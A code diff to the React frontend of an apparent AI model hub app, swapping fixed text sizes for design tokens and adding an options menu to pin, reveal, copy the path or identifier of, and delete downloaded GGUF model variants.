 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
+import type { ReactNode } from "react";
 import { useLayoutEffect, useRef, useState } from "react";
 
 export function NetworkErrorState({
@@ -37,20 +38,20 @@ export function NetworkErrorState({
         <HugeiconsIcon icon={icon} strokeWidth={1.6} className="size-5" />
       </div>
       <div className="space-y-1">
-        <p className="text-[14px] font-semibold tracking-tight text-foreground">
+        <p className="text-ui-14 font-semibold tracking-tight text-foreground">
           {title}
         </p>
-        <p className="max-w-md text-[12.5px] leading-5 text-muted-foreground">
+        <p className="max-w-md text-ui-12p5 leading-5 text-muted-foreground">
           {body}
         </p>
-        <p className="text-[11px] text-muted-foreground/70">{message}</p>
+        <p className="text-ui-11 text-muted-foreground/70">{message}</p>
       </div>
       <div className="flex flex-wrap items-center justify-center gap-2">
         {onSwitchDevice ? (
           <button
             type="button"
             onClick={onSwitchDevice}
-            className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
+            className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-ui-12 font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
           >
             On Device
           </button>
@@ -58,7 +59,7 @@ export function NetworkErrorState({
         <button
           type="button"
           onClick={onRetry}
-          className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.05]"
+          className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-ui-12 font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.05]"
         >
           <HugeiconsIcon
             icon={Refresh01Icon}
@@ -91,10 +92,10 @@ export function DiscoverFetchMoreState({
         <HugeiconsIcon icon={FilterIcon} strokeWidth={1.5} className="size-5" />
       </div>
       <div className="space-y-1">
-        <p className="text-[14px] font-semibold tracking-tight text-foreground">
+        <p className="text-ui-14 font-semibold tracking-tight text-foreground">
           No matches yet
         </p>
-        <p className="max-w-md text-[12.5px] leading-5 text-muted-foreground">
+        <p className="max-w-md text-ui-12p5 leading-5 text-muted-foreground">
           Scanned {scannedCount.toLocaleString()} results. Load another page to
           keep searching Hugging Face.
         </p>
@@ -104,7 +105,7 @@ export function DiscoverFetchMoreState({
           <button
             type="button"
             onClick={onClearFilters}
-            className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
+            className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-ui-12 font-medium text-foreground transition-colors hover:bg-foreground/[0.1] dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
           >
             Clear filters
           </button>
@@ -113,7 +114,7 @@ export function DiscoverFetchMoreState({
           type="button"
           onClick={onFetchMore}
           disabled={isLoadingMore}
-          className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] disabled:cursor-not-allowed disabled:opacity-50 dark:hover:bg-white/[0.05]"
+          className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-ui-12 font-medium text-foreground transition-colors hover:bg-foreground/[0.04] disabled:cursor-not-allowed disabled:opacity-50 dark:hover:bg-white/[0.05]"
         >
           <HugeiconsIcon
             icon={Refresh01Icon}
@@ -140,7 +141,7 @@ export function DiscoverFetchMoreFooter({
     <div className="relative z-10 flex flex-col items-center gap-2 rounded-[16px] bg-card px-4 py-4 text-center">
       {/* Only warn about hidden results when a filter is actually narrowing them. */}
       {hasActiveFilters && (
-        <p className="text-[11.5px] leading-4 text-muted-foreground">
+        <p className="text-ui-11p5 leading-4 text-muted-foreground">
           Some results may be hidden by your filters.
         </p>
       )}
@@ -148,7 +149,7 @@ export function DiscoverFetchMoreFooter({
         type="button"
         onClick={onFetchMore}
         disabled={isLoadingMore}
-        className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.1] disabled:cursor-not-allowed disabled:opacity-50 dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
+        className="inline-flex h-8 items-center gap-1.5 rounded-full bg-foreground/[0.06] px-3 text-ui-12 font-medium text-foreground transition-colors hover:bg-foreground/[0.1] disabled:cursor-not-allowed disabled:opacity-50 dark:bg-white/[0.06] dark:hover:bg-white/[0.1]"
       >
         <HugeiconsIcon
           icon={Refresh01Icon}
@@ -174,10 +175,10 @@ export function InventoryErrorState({
         <HugeiconsIcon icon={CloudOffIcon} strokeWidth={1.6} className="size-5" />
       </div>
       <div className="space-y-1">
-        <p className="text-[14px] font-semibold tracking-tight text-foreground">
+        <p className="text-ui-14 font-semibold tracking-tight text-foreground">
           Couldn't load your library
         </p>
-        <p className="max-w-md text-[12.5px] leading-5 text-muted-foreground">
+        <p className="max-w-md text-ui-12p5 leading-5 text-muted-foreground">
           Something went wrong reading your downloaded{" "}
           {isDataset ? "datasets" : "models"}. Check that the backend is running
           and try again.
@@ -186,7 +187,7 @@ export function InventoryErrorState({
       <button
         type="button"
         onClick={onRetry}
-        className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-[12px] font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.05]"
+        className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-ui-12 font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.05]"
       >
         <HugeiconsIcon icon={Refresh01Icon} strokeWidth={1.75} className="size-3.5" />
         Try again
@@ -199,10 +200,12 @@ export function EmptyState({
   title,
   body,
   icon = CubeIcon,
+  action,
 }: {
   title: string;
   body: string;
   icon?: IconSvgElement;
+  action?: ReactNode;
 }) {
   return (
     <div className="flex min-h-[220px] flex-col items-center justify-center gap-3 px-6 text-center">
@@ -210,13 +213,14 @@ export function EmptyState({
         <HugeiconsIcon icon={icon} strokeWidth={1.5} className="size-5" />
       </div>
       <div className="space-y-1">
-        <p className="text-[14px] font-semibold tracking-tight text-foreground">
+        <p className="text-ui-14 font-semibold tracking-tight text-foreground">
           {title}
         </p>
-        <p className="max-w-md text-[12.5px] leading-5 text-muted-foreground">
+        <p className="max-w-md text-ui-12p5 leading-5 text-muted-foreground">
           {body}
         </p>
       </div>
+      {action}
     </div>
   );
 }
diff --git a/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx b/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx
index d407517663..4a3e3f9ff6 100644
--- a/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx
+++ b/studio/frontend/src/features/hub/catalog/dataset-download-section.tsx
@@ -50,7 +50,7 @@ export function DatasetDownloadSection({
   const hfToken = useHfTokenStore((s) => s.token);
   const [deleteOpen, setDeleteOpen] = useState(false);
   const { deleting, runDelete } = useCardDelete({
-    action: () => deleteCachedDataset(repoId),
+    action: () => deleteCachedDataset(repoId, cachePath ?? undefined),
     resourceName: "dataset",
     successMessage: () => `Deleted ${repoId}`,
     onSuccess: () => {
@@ -126,7 +126,7 @@ export function DatasetDownloadSection({
       }
     >
       <div className="relative flex h-9 min-w-0 flex-1 items-center pl-3 pr-2">
-        <span className="flex items-center gap-1.5 text-[12px] text-muted-foreground">
+        <span className="flex items-center gap-1.5 text-ui-12 text-muted-foreground">
           {isDownloaded && <DotTag tone="success" label="On device" />}
           {!isDownloaded && isPartial && !downloading && (
             <Tooltip>
@@ -152,11 +152,7 @@ export function DatasetDownloadSection({
             />
           )}
           {isDownloaded && cachePath && (
-            <PathInfoButton
-              path={cachePath}
-              title="On-device location"
-              description={`Where ${repoId} lives on disk.`}
-            />
+            <PathInfoButton path={cachePath} />
           )}
         </div>
       </div>
diff --git a/studio/frontend/src/features/hub/catalog/dot-tag.tsx b/studio/frontend/src/features/hub/catalog/dot-tag.tsx
index 9452a201d4..5c2a0c8d1a 100644
--- a/studio/frontend/src/features/hub/catalog/dot-tag.tsx
+++ b/studio/frontend/src/features/hub/catalog/dot-tag.tsx
@@ -36,7 +36,7 @@ export function DotTag({
   return (
     <span
       className={cn(
-        "inline-flex h-5 shrink-0 items-center gap-1.5 whitespace-nowrap rounded-full border border-border/60 bg-transparent px-2 text-[11px] font-medium leading-none text-muted-foreground",
+        "inline-flex h-5 shrink-0 items-center gap-1.5 whitespace-nowrap rounded-full border border-border/60 bg-transparent px-2 text-ui-11 font-medium leading-none text-muted-foreground",
         className,
       )}
     >
diff --git a/studio/frontend/src/features/hub/catalog/download-card.tsx b/studio/frontend/src/features/hub/catalog/download-card.tsx
index 17177936ae..8016a9406d 100644
--- a/studio/frontend/src/features/hub/catalog/download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/download-card.tsx
@@ -140,7 +140,7 @@ export function CardUpdateButton({
               e.stopPropagation();
               onClick();
             }}
-            className="inline-flex h-7 shrink-0 cursor-pointer items-center gap-1.5 rounded-full bg-amber-500/[0.07] pl-2 pr-2.5 text-[12px] font-medium text-amber-800/90 transition-colors duration-150 hover:bg-amber-500/[0.12] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-amber-500/25 dark:bg-amber-400/[0.08] dark:text-amber-200/85 dark:hover:bg-amber-400/[0.16]"
+            className="inline-flex h-7 shrink-0 cursor-pointer items-center gap-1.5 rounded-full bg-amber-500/[0.07] pl-2 pr-2.5 text-ui-12 font-medium text-amber-800/90 transition-colors duration-150 hover:bg-amber-500/[0.12] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-amber-500/25 dark:bg-amber-400/[0.08] dark:text-amber-200/85 dark:hover:bg-amber-400/[0.16]"
           >
             <HugeiconsIcon
               icon={ArrowReloadHorizontalIcon}
diff --git a/studio/frontend/src/features/hub/catalog/download-section.tsx b/studio/frontend/src/features/hub/catalog/download-section.tsx
index fb2921649b..b2dd4592a1 100644
--- a/studio/frontend/src/features/hub/catalog/download-section.tsx
+++ b/studio/frontend/src/features/hub/catalog/download-section.tsx
@@ -1,9 +1,9 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import type { ModelInventoryFormat } from "../inventory";
 import { GgufDownloadCard } from "./gguf-download-card";
 import { SafetensorsDownloadCard } from "./safetensors-download-card";
-import type { ModelInventoryFormat } from "../inventory";
 
 export function DownloadSection({
   repoId,
@@ -22,6 +22,7 @@ export function DownloadSection({
   knownBytes,
   onLoad,
   onUseInChat,
+  onEject,
   onTrain,
   onChange,
 }: {
@@ -41,6 +42,7 @@ export function DownloadSection({
   knownBytes?: number | null;
   onLoad: (opts: { ggufVariant?: string; expectedBytes?: number }) => void;
   onUseInChat?: () => void;
+  onEject?: () => void;
   onTrain?: () => void;
   onChange?: () => void;
 }) {
@@ -57,6 +59,7 @@ export function DownloadSection({
         isPartial={isPartial}
         onLoad={onLoad}
         onUseInChat={onUseInChat}
+        onEject={onEject}
         onChange={onChange}
       />
     );
@@ -75,6 +78,7 @@ export function DownloadSection({
       knownBytes={knownBytes}
       onLoad={onLoad}
       onUseInChat={onUseInChat}
+      onEject={onEject}
       onTrain={onTrain}
       onChange={onChange}
     />
diff --git a/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx b/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx
index 5a661467fc..b17898a8e0 100644
--- a/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx
+++ b/studio/frontend/src/features/hub/catalog/external-link-confirm-dialog.tsx
@@ -54,10 +54,10 @@ export function ExternalLinkConfirmDialog() {
         </AlertDialogHeader>
         {pendingUrl && (
           <div className="min-w-0 rounded-[12px] bg-muted/50 px-3 py-2.5 text-left">
-            <p className="truncate text-[13px] font-medium text-foreground">
+            <p className="truncate text-ui-13 font-medium text-foreground">
               {hostOf(pendingUrl)}
             </p>
-            <p className="mt-0.5 break-all text-[11.5px] leading-[16px] text-muted-foreground">
+            <p className="mt-0.5 break-all text-ui-11p5 leading-ui-16 text-muted-foreground">
               {pendingUrl}
             </p>
           </div>
diff --git a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
index 9e4f6593b4..870adcde11 100644
--- a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
@@ -1,6 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
 import {
   Popover,
   PopoverContent,
@@ -12,49 +19,55 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import {
-  downloadManager,
-  useDownloadManagerStore,
-  useRepoDownload,
-} from "../download-manager";
-import {
-  type GgufVariantDetail,
-  deleteCachedModel,
-} from "../inventory";
-import { formatBytes } from "../lib/format";
-import { type GgufFitClass, classifyGgufFit } from "../lib/gguf-fit";
-import { HUB_GGUF_RUN_ACTIONS_VISIBLE } from "../lib/hub-feature-flags";
-import {
-  ggufVariantsMatch,
-  normalizeGgufVariantIdentity,
-} from "../lib/model-identity";
+import { usePlatformStore } from "@/config/env";
+import { getCachedModelPath, revealCachedModel } from "@/features/chat";
+import { pinKey, usePinnedModelsStore } from "@/features/model-picker";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
-import { useHfTokenStore } from "../stores/hf-token-store";
-import { useOnlineStatus } from "../hooks/use-online-status";
 import {
   ArrowReloadHorizontalIcon,
+  Copy01Icon,
   Delete02Icon,
   Download01Icon,
+  Folder01Icon,
   InformationCircleIcon,
-  PencilEdit02Icon,
+  MoreVerticalIcon,
+  PinIcon,
+  PinOffIcon,
   PlayIcon,
+  RemoveCircleIcon,
 } from "@hugeicons/core-free-icons";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
+  type KeyboardEventHandler,
   memo,
   useCallback,
   useEffect,
   useMemo,
   useState,
-  type KeyboardEventHandler,
-  type MouseEventHandler,
 } from "react";
+import {
+  downloadManager,
+  useDownloadManagerStore,
+  useRepoDownload,
+} from "../download-manager";
+import { useOnlineStatus } from "../hooks/use-online-status";
+import { type GgufVariantDetail, deleteCachedModel } from "../inventory";
+import { formatBytes } from "../lib/format";
+import { type GgufFitClass, classifyGgufFit } from "../lib/gguf-fit";
 import {
   ggufVariantDisplayLabel,
   ggufVariantDownloadSizeBytes,
   sortDownloadableGgufVariants,
 } from "../lib/gguf-variant-sort";
+import { HUB_GGUF_RUN_ACTIONS_VISIBLE } from "../lib/hub-feature-flags";
+import {
+  ggufVariantsMatch,
+  normalizeGgufVariantIdentity,
+} from "../lib/model-identity";
+import { useHfTokenStore } from "../stores/hf-token-store";
 import { DotTag } from "./dot-tag";
 import { DownloadCancelIndicator } from "./download-cancel-indicator";
 import {
@@ -72,7 +85,6 @@ import {
   GgufDownloadStatusCard,
   GgufDownloadingFallbackCard,
 } from "./gguf-status-cards";
-import { PathInfoButton } from "./path-info-button";
 import { useDeleteConfirmAction } from "./use-delete-confirm-action";
 import { useDownloadCardState } from "./use-download-card-state";
 import { useGgufVariantFetchState } from "./use-gguf-variant-fetch-state";
@@ -116,11 +128,11 @@ const FIT_BADGE: Record<GgufFitClass, FitBadgeMeta> = {
 
 /** Chip styling matching the on-device list's StatChip, no icon. */
 const CHIP_BASE =
-  "inline-flex h-5 shrink-0 items-center justify-center whitespace-nowrap rounded-full border px-2 text-[11.5px] font-medium tabular-nums leading-3 shadow-[inset_0_1px_0_rgba(255,255,255,0.04)]";
+  "inline-flex h-5 shrink-0 items-center justify-center whitespace-nowrap rounded-full border px-2 text-ui-11p5 font-medium tabular-nums leading-3 shadow-[inset_0_1px_0_rgba(255,255,255,0.04)]";
 const CHIP_DEFAULT =
   "border-foreground/15 bg-muted text-foreground/85 dark:border-border/60 dark:bg-white/[0.04] dark:text-foreground/85";
 const CHIP_ACTIVE =
-  "border-emerald-500/40 bg-emerald-500/10 text-emerald-700 dark:text-emerald-300";
+  "border-control-accent/40 bg-control-accent/10 text-control-accent";
 
 function QuantBadge({
   quant,
@@ -172,8 +184,8 @@ function QuantBadge({
       // group's `overflow-hidden` sacrifices the trailing status tags instead.
       <span
         className={cn(
-          "inline-flex shrink-0 cursor-help items-center gap-1.5 whitespace-nowrap text-[12.5px] font-medium tracking-tight tabular-nums",
-          active ? "text-emerald-600 dark:text-emerald-400" : "text-foreground",
+          "inline-flex shrink-0 cursor-help items-center gap-1.5 whitespace-nowrap text-ui-12p5 font-medium tracking-tight tabular-nums",
+          active ? "text-control-accent" : "text-foreground",
         )}
       >
         {showFit && (
@@ -204,7 +216,7 @@ function QuantBadge({
       onOpenChange={tooltipMode === "lazy" ? setTooltipOpen : undefined}
     >
       <TooltipTrigger
-        asChild
+        asChild={true}
         onFocusCapture={tooltipMode === "lazy" ? armTooltip : undefined}
         onPointerEnter={tooltipMode === "lazy" ? armTooltip : undefined}
       >
@@ -245,7 +257,181 @@ function createGgufVariantMenuItems(
   }));
 }
 
+// Shared options menu: used on every variant row, the run bar, and the
+// single-model (non-GGUF) run bar. Omit `quant` for a repo-level model. The
+// identifier uses llama.cpp's repo:quant syntax so it pastes into `-hf`.
+export function QuantOptionsMenu({
+  repoId,
+  quant,
+  label,
+  downloaded,
+  canDelete,
+  onDelete,
+  showPin = true,
+  buttonClassName,
+  iconClassName,
+}: {
+  repoId: string;
+  quant?: string;
+  label: string;
+  downloaded: boolean;
+  canDelete: boolean;
+  onDelete: (quant?: string) => void;
+  // Hidden in the run bar; pinning belongs to the On Device list.
+  showPin?: boolean;
+  buttonClassName?: string;
+  iconClassName?: string;
+}) {
+  const pinnedKeys = usePinnedModelsStore((s) => s.pinned);
+  const togglePinned = usePinnedModelsStore((s) => s.togglePinned);
+  const pinned = pinnedKeys.includes(pinKey(repoId, quant));
+  const deviceType = usePlatformStore((s) => s.deviceType);
+  const revealLabel =
+    deviceType === "mac"
+      ? "Reveal in Finder"
+      : deviceType === "windows"
+        ? "Reveal in File Explorer"
+        : "Reveal in File Manager";
+  const handleCopyPath = useCallback(async () => {
+    try {
+      const { path } = await getCachedModelPath(repoId, quant);
+      if (await copyToClipboard(path)) {
+        toast.success("Copied path");
+      } else {
+        toast.error("Failed to copy");
+      }
+    } catch (err) {
+      toast.error(
+        err instanceof Error ? err.message : "Failed to resolve model path",
+      );
+    }
+  }, [repoId, quant]);
+  const handleCopyId = useCallback(async () => {
+    const id = quant ? `${repoId}:${quant}` : repoId;
+    if (await copyToClipboard(id)) {
+      toast.success("Copied identifier");
+    } else {
+      toast.error("Failed to copy");
+    }
+  }, [repoId, quant]);
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild={true}>
+        <button
+          type="button"
+          onClick={(e) => e.stopPropagation()}
+          aria-label={`More options for ${label}`}
+          className={cn(
+            "inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-full",
+            "text-muted-foreground transition-colors hover:bg-muted hover:text-foreground",
+            "data-[state=open]:bg-muted data-[state=open]:text-foreground",
+            buttonClassName,
+          )}
+        >
+          <HugeiconsIcon
+            icon={MoreVerticalIcon}
+            strokeWidth={1.75}
+            className={cn("size-3.5", iconClassName)}
+          />
+        </button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent
+        side="bottom"
+        align="end"
+        sideOffset={2}
+        className="unsloth-plus-menu menu-flat-destructive w-48"
+      >
+        {showPin && downloaded && (
+          <DropdownMenuItem
+            onSelect={(e) => {
+              e.stopPropagation();
+              togglePinned(repoId, quant);
+            }}
+          >
+            <HugeiconsIcon
+              icon={pinned ? PinOffIcon : PinIcon}
+              strokeWidth={1.75}
+              className="size-icon"
+            />
+            <span>{pinned ? "Unpin" : "Pin to top"}</span>
+          </DropdownMenuItem>
+        )}
+        {downloaded && (
+          <DropdownMenuItem
+            onSelect={(e) => {
+              e.stopPropagation();
+              revealCachedModel(repoId, quant).catch((err) => {
+                toast.error(
+                  err instanceof Error
+                    ? err.message
+                    : "Failed to open file manager",
+                );
+              });
+            }}
+          >
+            <HugeiconsIcon
+              icon={Folder01Icon}
+              strokeWidth={1.75}
+              className="size-icon"
+            />
+            <span>{revealLabel}</span>
+          </DropdownMenuItem>
+        )}
+        <DropdownMenuItem
+          onSelect={(e) => {
+            e.stopPropagation();
+            void handleCopyId();
+          }}
+        >
+          <HugeiconsIcon
+            icon={Copy01Icon}
+            strokeWidth={1.75}
+            className="size-icon"
+          />
+          <span>Copy identifier</span>
+        </DropdownMenuItem>
+        {downloaded && (
+          <DropdownMenuItem
+            onSelect={(e) => {
+              e.stopPropagation();
+              void handleCopyPath();
+            }}
+          >
+            <HugeiconsIcon
+              icon={Copy01Icon}
+              strokeWidth={1.75}
+              className="size-icon"
+            />
+            <span>Copy path</span>
+          </DropdownMenuItem>
+        )}
+        {canDelete && (
+          <>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem
+              variant="destructive"
+              onSelect={(e) => {
+                e.stopPropagation();
+                onDelete(quant);
+              }}
+            >
+              <HugeiconsIcon
+                icon={Delete02Icon}
+                strokeWidth={1.75}
+                className="size-icon"
+              />
+              <span>Delete</span>
+            </DropdownMenuItem>
+          </>
+        )}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  );
+}
+
 const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
+  repoId,
   item,
   selected,
   loaded,
@@ -254,6 +440,7 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
   onSelect,
   onDelete,
 }: {
+  repoId: string;
   item: GgufVariantMenuItem;
   selected: boolean;
   loaded: boolean;
@@ -275,13 +462,6 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
     },
     [selectVariant],
   );
-  const handleDelete = useCallback<MouseEventHandler<HTMLButtonElement>>(
-    (e) => {
-      e.stopPropagation();
-      onDelete(item.quant);
-    },
-    [item.quant, onDelete],
-  );
   const canDelete = (item.downloaded || item.partial) && !loaded && !liveActive;
 
   return (
@@ -317,7 +497,7 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
         )}
         {!item.downloaded && item.partial && (
           <Tooltip>
-            <TooltipTrigger asChild>
+            <TooltipTrigger asChild={true}>
               <span className="inline-flex">
                 <DotTag
                   tone="warning"
@@ -334,30 +514,23 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
         )}
       </span>
       <span className="ml-auto flex shrink-0 items-center gap-1.5">
-        <span className="relative">
-          <span className={cn(CHIP_BASE, CHIP_DEFAULT)}>
-            {item.downloadSizeLabel}
-          </span>
-          {canDelete && (
-            <button
-              type="button"
-              onClick={handleDelete}
-              aria-label={`Delete ${item.label}${item.partial && !item.downloaded ? " (partial)" : ""}`}
-              className={cn(
-                "absolute inset-0 inline-flex cursor-pointer items-center justify-center rounded-full",
-                "bg-popover text-foreground/70 ring-1 ring-border transition-colors",
-                "opacity-0 group-hover:opacity-100 focus-visible:opacity-100",
-                "hover:text-destructive hover:ring-destructive/40",
-              )}
-            >
-              <HugeiconsIcon
-                icon={Delete02Icon}
-                strokeWidth={1.75}
-                className="size-3"
-              />
-            </button>
-          )}
+        <span className={cn(CHIP_BASE, CHIP_DEFAULT)}>
+          {item.downloadSizeLabel}
         </span>
+        {/* Options only apply to files on disk; placeholder keeps the size
+            chips column-aligned across rows. */}
+        {item.downloaded || item.partial ? (
+          <QuantOptionsMenu
+            repoId={repoId}
+            quant={item.quant}
+            label={item.label}
+            downloaded={Boolean(item.downloaded)}
+            canDelete={canDelete}
+            onDelete={(q) => q && onDelete(q)}
+          />
+        ) : (
+          <span aria-hidden={true} className="size-6 shrink-0" />
+        )}
       </span>
     </div>
   );
@@ -374,7 +547,7 @@ export function GgufDownloadCard({
   preferLocalCache = false,
   isPartial = false,
   onLoad,
-  onUseInChat,
+  onEject,
   onChange,
 }: {
   repoId: string;
@@ -387,7 +560,9 @@ export function GgufDownloadCard({
   preferLocalCache?: boolean;
   isPartial?: boolean;
   onLoad: (opts: { ggufVariant?: string; expectedBytes?: number }) => void;
+  /** Accepted for API parity; the run bar ejects instead of opening chat. */
   onUseInChat?: () => void;
+  onEject?: () => void;
   onChange?: () => void;
 }) {
   const hfToken = useHfTokenStore((s) => s.token);
@@ -422,7 +597,9 @@ export function GgufDownloadCard({
     () => createLiveGgufVariantStatesSelector(repoId),
     [repoId],
   );
-  const liveVariantStates = useDownloadManagerStore(selectLiveGgufVariantStates);
+  const liveVariantStates = useDownloadManagerStore(
+    selectLiveGgufVariantStates,
+  );
   const sortedVariants = useMemo(() => {
     if (!rawSortedVariants) return null;
     const withLive = applyLiveGgufVariantStates(
@@ -499,12 +676,7 @@ export function GgufDownloadCard({
     if (expectedBytes > progress.expectedBytes) {
       setExpectedBytes(expectedBytes, progress.variant);
     }
-  }, [
-    variants,
-    progress?.variant,
-    progress?.expectedBytes,
-    setExpectedBytes,
-  ]);
+  }, [variants, progress?.variant, progress?.expectedBytes, setExpectedBytes]);
 
   useEffect(() => {
     setCompletedVariantKeys(new Set<string>());
@@ -593,9 +765,15 @@ export function GgufDownloadCard({
   const { deleting, runDelete } = useDeleteConfirmAction({
     action: async () => {
       if (!deleteTarget) return;
-      await deleteCachedModel(repoId, deleteTarget, hfToken || undefined);
+      await deleteCachedModel(
+        repoId,
+        deleteTarget,
+        hfToken || undefined,
+        cachePath ?? undefined,
+      );
     },
-    successMessage: () => `Deleted ${repoId} ${deleteTargetLabel ?? deleteTarget}`,
+    successMessage: () =>
+      `Deleted ${repoId} ${deleteTargetLabel ?? deleteTarget}`,
     errorToast: (err) => ({
       title: err instanceof Error ? err.message : "Failed to delete",
     }),
@@ -654,7 +832,7 @@ export function GgufDownloadCard({
     return (
       <GgufDownloadStatusCard
         job={job}
-        loading
+        loading={true}
         message="Loading available quantizations…"
       />
     );
@@ -666,7 +844,7 @@ export function GgufDownloadCard({
         <GgufDownloadStatusCard
           job={job}
           tone="muted"
-          partial
+          partial={true}
           message="Partial download present. Couldn't load quantizations."
           actionLabel="Reload"
           onAction={() => void refresh()}
@@ -729,7 +907,7 @@ export function GgufDownloadCard({
         }
       >
         <Popover open={open} onOpenChange={setOpen}>
-          <PopoverTrigger asChild>
+          <PopoverTrigger asChild={true}>
             <button
               type="button"
               onClick={(e) => {
@@ -741,7 +919,7 @@ export function GgufDownloadCard({
               {/* Quant label + status tags travel together as one left-aligned
                   group so the fit-info icon never floats orphaned from its tags;
                   only the chevron pins right, the standard select affordance. */}
-              <span className="flex min-w-0 flex-1 items-center gap-2 overflow-hidden text-[12px] text-muted-foreground">
+              <span className="flex min-w-0 flex-1 items-center gap-2 overflow-hidden text-ui-12 text-muted-foreground">
                 {selected ? (
                   <QuantBadge
                     quant={selectedLabel ?? selected.quant}
@@ -750,7 +928,7 @@ export function GgufDownloadCard({
                     active={Boolean(selectedIsActive)}
                   />
                 ) : (
-                  <span className="text-[12.5px] text-muted-foreground">
+                  <span className="text-ui-12p5 text-muted-foreground">
                     Select quantization
                   </span>
                 )}
@@ -762,7 +940,7 @@ export function GgufDownloadCard({
                 )}
                 {selected && !selected.downloaded && selected.partial && (
                   <Tooltip>
-                    <TooltipTrigger asChild>
+                    <TooltipTrigger asChild={true}>
                       <span className="inline-flex">
                         <DotTag
                           tone="warning"
@@ -806,6 +984,7 @@ export function GgufDownloadCard({
                 return (
                   <GgufVariantMenuRow
                     key={item.filename}
+                    repoId={repoId}
                     item={item}
                     selected={item.key === selectedVariantKey}
                     loaded={isActive && item.key === activeVariantKey}
@@ -820,14 +999,29 @@ export function GgufDownloadCard({
           </PopoverContent>
         </Popover>
 
-        {selected?.downloaded && cachePath && (
-          <PathInfoButton
-            path={cachePath}
-            title="On-device location"
-            description={`Where ${repoId} (${selectedLabel}) lives on disk.`}
-            className="ml-0.5"
-          />
-        )}
+        {/* TODO: inference settings gear hidden for now, work on it in a future PR. */}
+        {/* Options only resolve managed HF-cache repos, so skip local paths;
+            they also only apply to quants actually on disk. */}
+        {selected &&
+          Boolean(selected.downloaded || selected.partial) &&
+          !/^([/\\~.]|[A-Za-z]:)/.test(repoId) && (
+            <QuantOptionsMenu
+              repoId={repoId}
+              quant={selected.quant}
+              label={`${repoId} ${selectedLabel}`}
+              downloaded={Boolean(selected.downloaded)}
+              canDelete={
+                Boolean(selected.downloaded || selected.partial) &&
+                !selectedIsActive &&
+                !downloadingThisVariant &&
+                !isLoadingThisModel
+              }
+              onDelete={(q) => q && handleDeleteVariant(q)}
+              showPin={false}
+              buttonClassName="ml-0.5 size-7"
+              iconClassName="size-4"
+            />
+          )}
 
         {!isGgufRunCta && <CardDivider />}
 
@@ -859,7 +1053,7 @@ export function GgufDownloadCard({
               return;
             }
             if (selectedIsActive) {
-              onUseInChat?.();
+              onEject?.();
               return;
             }
             if (!selected) return;
@@ -874,7 +1068,7 @@ export function GgufDownloadCard({
           }}
           aria-label={downloadAction.ariaLabel}
           className={cn(
